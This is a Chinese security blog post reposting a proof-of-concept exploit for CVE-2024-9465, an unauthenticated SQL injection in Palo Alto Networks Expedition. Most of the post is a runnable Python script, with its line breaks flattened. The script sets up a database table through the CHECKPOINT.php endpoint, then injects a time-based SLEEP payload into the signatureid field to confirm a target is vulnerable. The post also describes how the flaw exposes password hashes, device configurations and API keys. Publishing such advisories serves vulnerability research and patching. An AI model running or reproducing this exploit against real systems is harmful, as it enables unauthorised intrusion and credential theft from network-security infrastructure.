CVE-2024-9465|Palo Alto Networks Expedition 未授权SQL注入漏洞(POC)

admin 2024年10月21日19:08:41评论44 views字数 1948阅读6分29秒阅读模式

0x00 前言

Palo Alto Networks Expedition 是一款强大的工具,帮助用户有效地迁移和优化网络安全策略,提升安全管理的效率和效果。它的自动化功能、策略分析和可视化报告使其在网络安全领域中成为一个重要的解决方案。

0x01 漏洞描述

漏洞允许未经验证的攻击者获取Expedition数据库内容,例如密码哈希、用户名、设备配置和设备API密钥,利用这一点,攻击者还可以在Expedition 系统上创建和读取任意文件。

0x02 CVE编号

CVE-2024-9465

0x03 影响版本

Palo Alto Networks Expedition>=1.2.96

0x04 漏洞详情

POC:

https://github.com/horizon3ai/CVE-2024-9465

#!/usr/bin/python3import argparseimport requestsimport urllib3import sysimport timeurllib3.disable_warnings()def create_checkpoint_table(url: str):    print(f'[*] Creating Checkpoint database table...')    data = {'action': 'get',            'type': 'existing_ruleBases',            'project': 'pandbRBAC',            }    r = requests.post(f'{url}/bin/configurations/parsers/Checkpoint/CHECKPOINT.php', data=data, verify=False, timeout=30)    if r.status_code == 200 and 'ruleBasesNames' in r.text:        print(f'[*] Successfully created the database table')        return    print(f'[-] Unexpected response creating table: {r.status_code}:{r.text}')    sys.exit(1)def inject_checkpoint_query(url: str):    start_time = time.time()    print(f'[*] Injecting 10 second sleep payload into database query...')    data = {'action': 'import',            'type': 'test',            'project': 'pandbRBAC',            'signatureid': '1 AND (SELECT 1234 FROM (SELECT(SLEEP(10)))horizon3)',            }    r = requests.post(f'{url}/bin/configurations/parsers/Checkpoint/CHECKPOINT.php', data=data, verify=False, timeout=30)    execution_time = time.time() - start_time    if r.status_code == 200 and execution_time > 9 and execution_time < 15:        print(f'[*] Successfully sent injection payload!')        print(f'[+] Target is vulnerable, request took {execution_time} seconds')        return    print(f'[-] Unexpected response sending injection payload: {r.status_code}:{r.text}')    sys.exit(1)if __name__ == "__main__":    parser = argparse.ArgumentParser()    parser.add_argument('-u', '--url', help='The URL of the target', type=str, required=True)    args = parser.parse_args()    create_checkpoint_table(args.url)    inject_checkpoint_query(args.url)
CVE-2024-9465|Palo Alto Networks Expedition 未授权SQL注入漏洞(POC)

0x05 参考链接

https://github.com/horizon3ai/CVE-2024-9465

https://security.paloaltonetworks.com/PAN-SA-2024-0010

原文始发于微信公众号(信安百科):CVE-2024-9465|Palo Alto Networks Expedition 未授权SQL注入漏洞(POC)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月21日19:08:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-9465|Palo Alto Networks Expedition 未授权SQL注入漏洞(POC)https://cn-sec.com/archives/3292014.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息